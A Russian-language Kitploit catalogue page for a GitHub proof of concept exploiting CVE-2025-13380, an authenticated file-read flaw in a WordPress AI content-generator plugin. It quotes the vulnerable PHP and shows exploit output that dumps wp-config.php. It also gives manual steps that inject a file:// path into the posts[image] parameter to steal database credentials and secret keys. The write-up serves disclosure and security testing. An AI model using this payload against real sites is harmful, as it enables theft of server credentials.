Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-13380 — AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 — произвольное чтение файлов аутентифицированным пользователем (Contributor+) | Kitploit
Инструменты/GitHubGitHub/d0n601/cve-2025-13380
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийСбор информацииВеб-безопасностьТестирование на Проникновение
GitHubd0n601/cve-2025-13380

CVE-2025-13380

AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 — произвольное чтение файлов аутентифицированным пользователем (Contributor+)

Репозиторий
19 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - Аутентифицированное (Contributor+) произвольное чтение файлов

Плагин AI Engine for WordPress содержит уязвимость в функции вставки изображений, которая позволяет любому аутентифицированному пользователю с правами редактирования записей (Contributor, Author, Editor, Administrator) загружать произвольные файлы с сервера. Уязвимость возникает из-за отсутствия надлежащих проверок прав в AJAX-эндпоинте lqdai_update_post и использования file_get_contents() в функции insert_image() с управляемыми пользователем URL-адресами без проверки протокола, что позволяет загружать произвольные файлы через протокол file://.

TL;DR Эксплойты

  • Предоставлен POC CVE-2025-13380.py, демонстрирующий, как пользователь уровня Contributor скачивает файл wp-config.php сайта.
root@kitploit:~
 python3 ./exploit.py http://techcorp.cc contributor password   
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

Детали

Функция вставки файла

AJAX-действие lqdai_update_post вызывает функцию update_post() в строке 315 файла /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php, в которой отсутствуют надлежащие проверки прав, что позволяет любому аутентифицированному пользователю изменять записи, которые он может редактировать:

root@kitploit:~
function update_post() {
    if ( empty( $posts = $_POST['posts'] ) ) {
        wp_send_json( [
            'error' => true,
            'message' => __( 'Data is null!', 'lqdai' ),
        ] );
    }

    $args = [
        'ID'            => $posts['post_id'],
        'post_title'    => $posts['title'],
        'post_content'  => $posts['content'],
        'post_status'   => 'draft',
    ];

    $update_post = wp_update_post( $args );
    
    if ( is_wp_error( $update_post ) ) {
        wp_send_json( [
            'error' => true,
            'message' => $update_post->get_error_messages()
        ] );
    } else {
        wp_set_post_tags( $posts['post_id'], $posts['tags'], false );

        if ( !empty( $posts['image'] ) ) {
            $this->insert_image( $posts['post_id'], $posts['image'] );  // <-- ARBITRARY FILE DOWNLOAD VULNERABILITY
        }
    }
}

Произвольная загрузка файлов в insert_image()

Функция insert_image() в строке 419 использует file_get_contents() с управляемыми пользователем URL-адресами без проверки протокола, что позволяет загружать произвольные файлы:

root@kitploit:~
function insert_image( $post_id, $image_url ) {
    // Get the path to the uploads directory
    $upload_dir = wp_upload_dir();
    $image_data = file_get_contents($image_url);

    $filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
    
    // Save the image to the uploads directory
    if ( wp_mkdir_p($upload_dir['path']) ) {
        $file = $upload_dir['path'] . '/' . $filename;
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }
    
    file_put_contents($file, $image_data);  // <-- WRITES 
    
    // Get the attachment ID for the image
    $wp_filetype = wp_check_filetype($filename, null );
    $attachment = array(
        'post_mime_type' => $wp_filetype['type'],
        'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
        'post_content' => '',
        'post_status' => 'inherit'
    );
    $attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
    require_once(ABSPATH . 'wp-admin/includes/image.php');
    $attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
    wp_update_attachment_metadata( $attachment_id, $attachment_data );
    
    // Set the attachment ID as the featured image for the post
    set_post_thumbnail($post_id, $attachment_id);
}

Формирование пути и имени файла

Уязвимое формирование пути позволяет читать локальные файлы через протокол file://:

root@kitploit:~
// User provides: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';

// file_get_contents() reads the file (works by default in PHP)
$image_data = file_get_contents($image_url);  // Reads /var/www/html/wp-config.php

// Filename is constructed from the path
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// parse_url() returns '/var/www/html/wp-config.php'
// sanitize_file_name() removes slashes: 'varwwwhtmlwp-config.php'
// Appends '.jpg': 'varwwwhtmlwp-config.php.jpg'

// File is written to uploads directory
$file = $upload_dir['path'] . '/' . $filename;
// Result: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data);  // Writes wp-config.php content

Ручное воспроизведение

  1. Войдите в WordPress как пользователь уровня Contributor (или любой пользователь с правами редактирования записей).
  2. Создайте новый черновик записи, чтобы получить ID записи.
  3. Используйте инструменты разработчика браузера или такой инструмент, как Burp Suite, для перехвата трафика.
  4. Перехватите запрос к /wp-admin/admin-ajax.php, вызывающий действие lqdai_update_post.
  5. Измените запрос, добавив URL с протоколом file:// в параметр posts[image].
  6. Отправьте запрос с posts[image]=file:///var/www/html/wp-config.php, чтобы прочитать файл конфигурации WordPress.
  7. Получите доступ к файлу через URL каталога загрузок: /wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg.
  8. Извлеките конфиденциальные файлы конфигурации, включая учётные данные базы данных, ключи API и соли безопасности.
Скачать инструмент